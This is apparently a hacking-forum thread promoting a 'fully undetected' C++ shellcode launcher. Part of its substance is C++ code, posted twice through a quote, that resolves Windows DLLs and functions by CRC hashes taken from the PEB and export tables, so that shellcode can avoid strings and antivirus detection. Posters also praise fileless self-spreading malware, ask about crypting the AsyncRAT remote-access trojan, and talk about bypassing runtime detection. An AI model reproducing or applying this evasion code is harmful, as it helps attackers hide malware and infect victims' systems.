Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C++ Fully undetected shellcode launcher

Exactly what the thread title states.

Check out Charlotte:

https://github.com/9emin1/charlotte
(May 24, 2021 11:12 AM)ĐĮΜĘ Wrote:  Exactly what the thread title states.

Check out Charlotte:

https://github.com/9emin1/charlotte



Hi,

Great HQ content. But it's just that this is the exact reason why Microsoft bought GitHub haha. MSRC will be at this in no time.

Cheers!
Regards,
Porky
ℒ𝒶𝓊ℊ𝒽𝒾𝓃ℊ 𝒶𝓉 𝓎ℴ𝓊𝓇 𝓈ℯ𝒸𝓊𝓇𝒾𝓉𝓎 𝓈𝒾𝓃𝒸ℯ... ℯ𝓋ℯ𝓇.
(May 24, 2021 12:33 PM)linkinpork Wrote:  Hi,

Great HQ content. But it's just that this is the exact reason why Microsoft bought GitHub haha. MSRC will be at this in no time.

Cheers!

Yeah you know why they bought it 😁.
There's a simpler way of doing this that is also very easy to pull off and prevents you from needing strings of any kind.

For each name, you can pre-compute some type of hash or similar construct derived from the name. In my case, I went with a simple CRC algorithm since this is shellcode and I want to simultaneously remain positionally indpendent and have a small implementation. CRC satisfies that without being a CSPRNG. When you feed it different names, it will alter the state in a predictable way. I also made it optionally case insensitive since the DLL names may be cased differently but "kernel32.dll" and "KERNEL32.DLL" are the same file, but "VirtualAlloc" and "virtualalloc" would be different symbols.

Code
inline UINT32 getIdByWName(PCWSTR moduleName, const BOOL caseSensitive) {
    INT i, j, mask, byte, crc;
    crc = 0xffffffffu;
    for (i = 0; (byte = (UINT32)moduleName[i]) != 0; i++) {
        if (!caseSensitive && byte <= 0xff) {
            if (byte >= 0x41 && byte <= 0x5a) {
                byte += 0x20;
            }
        }
        crc ^= byte;
        for (j = 0; j < 8; j++) {
            mask = -(crc & 1);
            crc = (crc >> 1) ^ (0xEDB88320 & mask);
        }
    }
    return (UINT32)~crc;
}


You can see in the comments, the original program stored the strings, then got the 4-byte ID.
Warning large screen (Click to View)



Now, I am able to iterate through the DLL's export table, hash each name, and find the one with the same 4-byte identifier. I use this:

Code
inline HMODULE getModuleById(UINT32 moduleId, const BOOL caseSensitive) {
    PPEB peb = NULL;
#ifdef _WIN64
    peb = (PPEB)__readgsqword(0x60);
#else
    peb = (PPEB)__readfsdword(0x30);
#endif

    PPEB_LDR_DATA ldr = peb->Ldr;
    LIST_ENTRY listEntry = ldr->InLoadOrderModuleList;

    PLDR_DATA_TABLE_ENTRY fLink = *((PLDR_DATA_TABLE_ENTRY*)(&listEntry));
    PLDR_DATA_TABLE_ENTRY cLink = fLink;

    while (cLink != NULL && cLink->DllBase != NULL) {
        if (cLink->BaseDllName.Buffer == NULL) continue;
        if (getIdByWName(cLink->BaseDllName.Buffer, caseSensitive) == moduleId) {
            return (HMODULE)(cLink->DllBase);
        }
        // not found, try next:
        cLink = (PLDR_DATA_TABLE_ENTRY)cLink->InLoadOrderModuleList.Flink;
    }
    return (HMODULE)NULL;
}

inline PVOID getFuncById(HMODULE module, UINT32 funcNameId, const BOOL caseSensitive)
{
    IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
    if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
        return NULL;
    }
    IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
    IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
    if (exportsDir->VirtualAddress == NULL) {
        return NULL;
    }

    DWORD expAddr = exportsDir->VirtualAddress;
    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
    SIZE_T namesCount = exp->NumberOfNames;

    DWORD funcsListRVA = exp->AddressOfFunctions;
    DWORD funcNamesListRVA = exp->AddressOfNames;
    DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;

    for (SIZE_T i = 0; i < namesCount; i++) {
        const DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
        if (getIdByName((PCSTR)(*nameRVA + (BYTE*)module), caseSensitive) == funcNameId) {
            const WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
            const DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));
            return (BYTE*)module + (*funcRVA);
        }
    }
    return NULL;
}

That said, if you want to load a new DLL by name via LoadLibrary, you are best storing an encrypted form of the DLL name... however, you probably shouldn't use LoadLibrary anyway.
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
(May 24, 2021 03:46 PM)Goodies Wrote:  There's a simpler way of doing this that is also very easy to pull off and prevents you from needing strings of any kind.

For each name, you can pre-compute some type of hash or similar construct derived from the name. In my case, I went with a simple CRC algorithm since this is shellcode and I want to simultaneously remain positionally indpendent and have a small implementation. CRC satisfies that without being a CSPRNG. When you feed it different names, it will alter the state in a predictable way. I also made it optionally case insensitive since the DLL names may be cased differently but "kernel32.dll" and "KERNEL32.DLL" are the same file, but "VirtualAlloc" and "virtualalloc" would be different symbols.

Code
inline UINT32 getIdByWName(PCWSTR moduleName, const BOOL caseSensitive) {
INT i, j, mask, byte, crc;
crc = 0xffffffffu;
for (i = 0; (byte = (UINT32)moduleName[i]) != 0; i++) {
if (!caseSensitive && byte <= 0xff) {
if (byte >= 0x41 && byte <= 0x5a) {
byte += 0x20;
}
}
crc ^= byte;
for (j = 0; j < 8; j++) {
mask = -(crc & 1);
crc = (crc >> 1) ^ (0xEDB88320 & mask);
}
}
return (UINT32)~crc;
}


You can see in the comments, the original program stored the strings, then got the 4-byte ID.
Warning large screen (Click to View)



Now, I am able to iterate through the DLL's export table, hash each name, and find the one with the same 4-byte identifier. I use this:

Code
inline HMODULE getModuleById(UINT32 moduleId, const BOOL caseSensitive) {
PPEB peb = NULL;
#ifdef _WIN64
peb = (PPEB)__readgsqword(0x60);
#else
peb = (PPEB)__readfsdword(0x30);
#endif

PPEB_LDR_DATA ldr = peb->Ldr;
LIST_ENTRY listEntry = ldr->InLoadOrderModuleList;

PLDR_DATA_TABLE_ENTRY fLink = *((PLDR_DATA_TABLE_ENTRY*)(&listEntry));
PLDR_DATA_TABLE_ENTRY cLink = fLink;

while (cLink != NULL && cLink->DllBase != NULL) {
if (cLink->BaseDllName.Buffer == NULL) continue;
if (getIdByWName(cLink->BaseDllName.Buffer, caseSensitive) == moduleId) {
return (HMODULE)(cLink->DllBase);
}
// not found, try next:
cLink = (PLDR_DATA_TABLE_ENTRY)cLink->InLoadOrderModuleList.Flink;
}
return (HMODULE)NULL;
}

inline PVOID getFuncById(HMODULE module, UINT32 funcNameId, const BOOL caseSensitive)
{
IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
return NULL;
}
IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
if (exportsDir->VirtualAddress == NULL) {
return NULL;
}

DWORD expAddr = exportsDir->VirtualAddress;
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
SIZE_T namesCount = exp->NumberOfNames;

DWORD funcsListRVA = exp->AddressOfFunctions;
DWORD funcNamesListRVA = exp->AddressOfNames;
DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;

for (SIZE_T i = 0; i < namesCount; i++) {
const DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
if (getIdByName((PCSTR)(*nameRVA + (BYTE*)module), caseSensitive) == funcNameId) {
const WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
const DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));
return (BYTE*)module + (*funcRVA);
}
}
return NULL;
}

That said, if you want to load a new DLL by name via LoadLibrary, you are best storing an encrypted form of the DLL name... however, you probably shouldn't use LoadLibrary anyway.

Glad to see someone chime in when it comes to this section. Thanks for your insight. It will help others.
(May 25, 2021 02:06 PM)ĐĮΜĘ Wrote:  Glad to see someone chime in when it comes to this section. Thanks for your insight. It will help others.

Happy to! This is a neat project. I love the idea of file-less malware. A payload that is small and independent enough such that it can inject itself into code caves of basically any binary, and then look to some repository of DLLs that can reflectively loaded and initiated. This would be a very neat way of infecting a system, scanning for every single executable binary and injecting into it so no individual binary file could remove the virus.

Obfuscated shellcode injection is a crucial part of that.
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
Can AsyncRat server be crypted with this??
thank you this looks good
There is no way this would survive runtime-detection of any antivirus
(Jul 24, 2021 12:11 AM)lululululu Wrote:  There is no way this would survive runtime-detection of any antivirus

Not to the usual user. To those that know how to alter it then it easily bypasses runtime. It is just an outline.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by ĐĮΜĘOct 23, 2023 04:55 AM 2 251 Oct 23, 2023 04:55 AM
Last Post: Tentco
by ĐĮΜĘFeb 6, 2023 02:45 PM 0 144 Feb 6, 2023 02:45 PM
Last Post: ĐĮΜĘ
by The Shark Inc.Jan 25, 2021 09:17 PM 9 810 Jan 25, 2021 09:17 PM
Last Post: denizdifiesso